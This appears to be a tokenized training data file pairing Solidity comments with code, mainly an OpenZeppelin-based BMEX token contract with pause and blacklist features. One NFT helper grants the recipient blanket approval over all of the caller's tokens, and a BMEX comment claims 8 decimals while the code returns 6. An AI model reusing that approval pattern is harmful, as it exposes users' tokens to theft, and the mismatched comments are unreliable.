// sum of weights data[4] += weight * s; // Weighted sum of scores } if (data[3] == 0 || data[4] == 0) return 0; result = data[4] / data[3]; // Weighted sum / sum of weights } }
@notice Compute the final score given a bundle of rating information @param _scores The array of scores @param _blocks The array of blocks containing the scores @param _valuesSkill The array of values about skill of item rated Weighted average based on skill values
) haveEqualLength(_scores, _valuesSkill) external pure returns(uint) { uint len = _scores.length; if (len <= 0) return 0; uint totalWeight = 0; uint totalValues = 0; for (uint i=0; i<len; i++){ totalValues += _valuesSkill[i]; totalWeight += _scores[i]*_valuesSkill[i]; } if (totalValues == 0 || totalWeight == 0) return 0; return totalWeight / totalValues; }
5,469,794
[ 1, 7018, 377, 326, 727, 4462, 864, 279, 3440, 434, 13953, 1779, 225, 389, 12630, 1377, 1021, 526, 434, 8474, 225, 389, 7996, 1377, 1021, 526, 434, 4398, 4191, 326, 8474, 225, 389, 2372, 9030, 1021, 526, 434, 924, 2973, 15667, 434, 761, 436, 690, 15437, 329, 8164, 2511, 603, 15667, 924, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 5397, 262, 1240, 5812, 1782, 24899, 12630, 16, 389, 2372, 9030, 13, 3903, 16618, 1135, 12, 11890, 13, 288, 203, 540, 203, 3639, 2254, 562, 273, 389, 12630, 18, 2469, 31, 203, 203, 3639, 309, 261, 1897, 1648, 374, 13, 7010, 5411, 327, 374, 31, 203, 203, 3639, 2254, 2078, 6544, 273, 374, 31, 203, 3639, 2254, 2078, 1972, 273, 374, 31, 540, 203, 203, 3639, 364, 261, 11890, 277, 33, 20, 31, 277, 32, 1897, 31, 277, 27245, 95, 203, 5411, 2078, 1972, 1011, 389, 2372, 9030, 63, 77, 15533, 203, 5411, 2078, 6544, 1011, 389, 12630, 63, 77, 5772, 67, 2372, 9030, 63, 77, 15533, 203, 3639, 289, 203, 3639, 309, 261, 4963, 1972, 422, 374, 747, 2078, 6544, 422, 374, 13, 203, 5411, 327, 374, 31, 203, 3639, 327, 2078, 6544, 342, 2078, 1972, 31, 203, 565, 289, 203, 377, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// File: @openzeppelin/contracts/utils/Context.sol // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.9; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: @openzeppelin/contracts/access/Ownable.sol // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File: contracts/roles/Roles.sol /** * @title Roles * @dev Library for managing addresses assigned to a Role. */ library Roles { struct Role { mapping(address => bool) bearer; } /** * @dev Give an account access to this role. */ function add(Role storage role, address account) internal { require(!has(role, account), 'Roles: account already has role'); role.bearer[account] = true; } /** * @dev Remove an account's access to this role. */ function remove(Role storage role, address account) internal { require(has(role, account), 'Roles: account does not have role'); role.bearer[account] = false; } /** * @dev Check if an account has this role. * @return bool */ function has(Role storage role, address account) internal view returns (bool) { require(account != address(0), 'Roles: account is the zero address'); return role.bearer[account]; } } // File: contracts/roles/BlacklistManagerRole.sol // Author : Tokeny Solutions contract BlacklistManagerRole is Ownable { using Roles for Roles.Role; event BlacklistManagerAdded(address indexed _blacklistManager); event BlacklistManagerRemoved(address indexed _blacklistManager); Roles.Role private _blacklistManagers; modifier onlyBlacklistManager() { require(isBlacklistManager(msg.sender), 'BlacklistManagerRole: caller does not have the role'); _; } function isBlacklistManager(address _blacklistManager) public view returns (bool) { return _blacklistManagers.has(_blacklistManager); } function addBlacklistManager(address _blacklistManager) public onlyOwner { _blacklistManagers.add(_blacklistManager); emit BlacklistManagerAdded(_blacklistManager); } function removeBlacklistManager(address _blacklistManager) public onlyOwner { _blacklistManagers.remove(_blacklistManager); emit BlacklistManagerRemoved(_blacklistManager); } } // File: @openzeppelin/contracts/token/ERC20/IERC20.sol // OpenZeppelin Contracts v4.4.1 (token/ERC20/IERC20.sol) /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol // OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol) /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } // File: @openzeppelin/contracts/security/Pausable.sol // OpenZeppelin Contracts v4.4.1 (security/Pausable.sol) /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ abstract contract Pausable is Context { /** * @dev Emitted when the pause is triggered by `account`. */ event Paused(address account); /** * @dev Emitted when the pause is lifted by `account`. */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. */ constructor() { _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view virtual returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. * * Requirements: * * - The contract must not be paused. */ modifier whenNotPaused() { require(!paused(), "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. * * Requirements: * * - The contract must be paused. */ modifier whenPaused() { require(paused(), "Pausable: not paused"); _; } /** * @dev Triggers stopped state. * * Requirements: * * - The contract must not be paused. */ function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } /** * @dev Returns to normal state. * * Requirements: * * - The contract must be paused. */ function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } } // File: contracts/vesting/IVesting.sol // Author : Tokeny Solutions interface IVesting { // events event UpdatedTreasury(address newTreasury); event UpdatedTeam(address newTeam); event UpdatedEcosystemFund(address newEcosystemFund); event UpdatedLongTermLockUp(address newLongTermLockUp); event TokenSet(address token); event InitialDeposit(address _to, uint256 _amount, uint _cliff, uint _vesting); event TokensClaimed(address _holder, uint256 _amount); event ReferenceDateSet(uint256 _referenceDate); // functions function setToken(address token) external; function initialized() external view returns(bool); function treasury() external view returns(address); function updateTreasuryWallet(address newTreasury) external; function team() external view returns(address); function updateTeamWallet(address newTeam) external; function ecosystemFund() external view returns(address); function updateEcosystemFundWallet(address newEcosystemFund) external; function longTermLockUp() external view returns(address); function updateLongTermLockUpWallet(address newLongTermLockUp) external; function initialDeposit(address _to, uint256 _amount, uint _cliff, uint _vesting) external; function claim() external; function claimFor(address _holder) external; function claimAll() external; function getBalances(address _holder) external view returns(uint, uint, uint); } // File: contracts/token/BMEX.sol // Author : Tokeny Solutions contract BMEX is Context, IERC20, IERC20Metadata, BlacklistManagerRole, Pausable { // event emitted when a wallet is blacklisted by a blacklist manager event Blacklisted(address wallet); // event when a wallet that was blacklisted is removed from the blacklist by the blacklist manager event Whitelisted(address wallet); mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; // blacklisting status of wallets mapping(address => bool) private _blacklisted; uint256 private _totalSupply; string private _name; string private _symbol; // address of the vesting contract on which the non-circulating supply is blocked temporarily address public _vestingContract; /** * @dev constructor of the token * sets the name and symbol of the token * @param owner the owner wallet of the contract * @param vestingContract the address of the vesting contract * note that the constructor is not making the full initialization of the token, it is required * to call initialize() after deployment of the token contract */ constructor(address owner, address vestingContract) { _name = 'BitMEX Token'; _symbol = 'BMEX'; _vestingContract = vestingContract; _transferOwnership(owner); } /** * @dev initializes the token supply and sends the tokens to the vesting contract * on a supply of 450M tokens, only 36M are free at launch, on the treasury wallet * the rest of the tokens are locked on the vesting smart contract * this function is setting the token address on the vesting contract * the function cannot be called twice */ function initialize() external { require(!IVesting(_vestingContract).initialized(), 'already initialized'); IVesting(_vestingContract).setToken(address(this)); _mint(address(this), 450000000*10**6); _approve(address(this), _vestingContract, 414000000*10**6); IVesting(_vestingContract).initialDeposit(IVesting(_vestingContract).treasury(), 76500000*10**6, 0, 12); IVesting(_vestingContract).initialDeposit(IVesting(_vestingContract).team(), 90000000*10**6, 9, 33); IVesting(_vestingContract).initialDeposit(IVesting(_vestingContract).ecosystemFund(), 135000000*10**6, 3, 21); IVesting(_vestingContract).initialDeposit(IVesting(_vestingContract).longTermLockUp(), 112500000*10**6, 24, 60); _transfer(address(this), IVesting(_vestingContract).treasury(), 36000000*10**6); } /** * @dev pauses the token, blocking all transfers as long as paused * requires the token to not be paused yet * only owner can call */ function pause() public onlyOwner { _pause(); } /** * @dev unpauses the token, allowing transfers to happen again * requires the token to be paused first * only owner can call */ function unpause() public onlyOwner { _unpause(); } /** * @dev getter function returning true if a wallet is blacklisted, false otherwise * @param _wallet the address to check */ function blacklisted(address _wallet) public view returns (bool) { return _blacklisted[_wallet]; } /** * @dev blacklists a wallet address * requires the wallet to not be blacklisted yet * @param _wallet the wallet to blacklist */ function blacklist(address _wallet) external onlyBlacklistManager { require(!blacklisted(_wallet), 'wallet already blacklisted'); _blacklisted[_wallet] = true; emit Blacklisted(_wallet); } /** * @dev remove blacklisting from a wallet * requires the wallet to be blacklisted first * @param _wallet the address to whitelist */ function whitelist(address _wallet) external onlyBlacklistManager { require(blacklisted(_wallet), 'wallet not blacklisted'); _blacklisted[_wallet] = false; emit Whitelisted(_wallet); } /** * @dev Destroys `amount` tokens from the caller. * * See {ERC20-_burn}. */ function burn(uint256 amount) public { _burn(_msgSender(), amount); } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * BMEX token is using 8 decimals instead of 18 * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 6; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, 'ERC20: transfer amount exceeds allowance'); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, 'ERC20: decreased allowance below zero'); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue); } return true; } /** * @dev Moves `amount` of tokens from `sender` to `recipient`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), 'ERC20: transfer from the zero address'); require(recipient != address(0), 'ERC20: transfer to the zero address'); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, 'ERC20: transfer amount exceeds balance'); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); _afterTokenTransfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), 'ERC20: mint to the zero address'); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), 'ERC20: burn from the zero address'); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, 'ERC20: burn amount exceeds balance'); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), 'ERC20: approve from the zero address'); require(spender != address(0), 'ERC20: approve to the zero address'); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. * token transfers blocked if from or to a blacklisted wallet * token transfers blocked if token paused */ function _beforeTokenTransfer( address from, address to, uint256 /* amount */ ) internal virtual { require(!paused(), 'ERC20Pausable: token transfer while paused'); require(!blacklisted(to) && !blacklisted(from), 'Cannot transfer tokens to or from blacklisted'); } /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * has been transferred to `to`. * - when `from` is zero, `amount` tokens have been minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens have been burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} }
* @dev blacklists a wallet address requires the wallet to not be blacklisted yet @param _wallet the wallet to blacklist/
function blacklist(address _wallet) external onlyBlacklistManager { require(!blacklisted(_wallet), 'wallet already blacklisted'); _blacklisted[_wallet] = true; emit Blacklisted(_wallet); }
298,761
[ 1, 11223, 9772, 279, 9230, 1758, 4991, 326, 9230, 358, 486, 506, 25350, 4671, 225, 389, 19177, 326, 9230, 358, 11709, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 11709, 12, 2867, 389, 19177, 13, 3903, 1338, 25811, 1318, 288, 203, 3639, 2583, 12, 5, 11223, 18647, 24899, 19177, 3631, 296, 19177, 1818, 25350, 8284, 203, 3639, 389, 11223, 18647, 63, 67, 19177, 65, 273, 638, 31, 203, 3639, 3626, 22467, 18647, 24899, 19177, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/5/0x81c7a9d494c74F113cCa32d174925352bD3875f1/sources/_connext/nxtp-contracts/contracts/nomad-core/contracts/Replica.sol
============ External Imports ============ import {TypedMemView} from "@summa-tx/memview-sol/contracts/TypedMemView.sol";
import {TypedMemView} from "../libs/TypedMemView.sol";
1,910,461
[ 1, 14468, 11352, 2221, 4363, 422, 1432, 631, 1930, 288, 11985, 3545, 1767, 97, 628, 8787, 1364, 2540, 17, 978, 19, 3917, 1945, 17, 18281, 19, 16351, 87, 19, 11985, 3545, 1767, 18, 18281, 14432, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 5666, 288, 11985, 3545, 1767, 97, 628, 315, 6216, 21571, 19, 11985, 3545, 1767, 18, 18281, 14432, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/3/0x5075DD89F31a71A74EcE3258a9377905c62F2FD1/sources/NFT_Marketplace/NFTCollection.sol
from.transfer(price);
function safeTransferFromWithProvision(address from, address to, uint256 id, uint256 amount/*, uint256 price*/) public returns (bool approved) { setApprovalForAll(to, true); safeTransferFrom(from, to, id, amount, "0x0"); return isApprovedForAll(from, to); }
14,197,066
[ 1, 2080, 18, 13866, 12, 8694, 1769, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
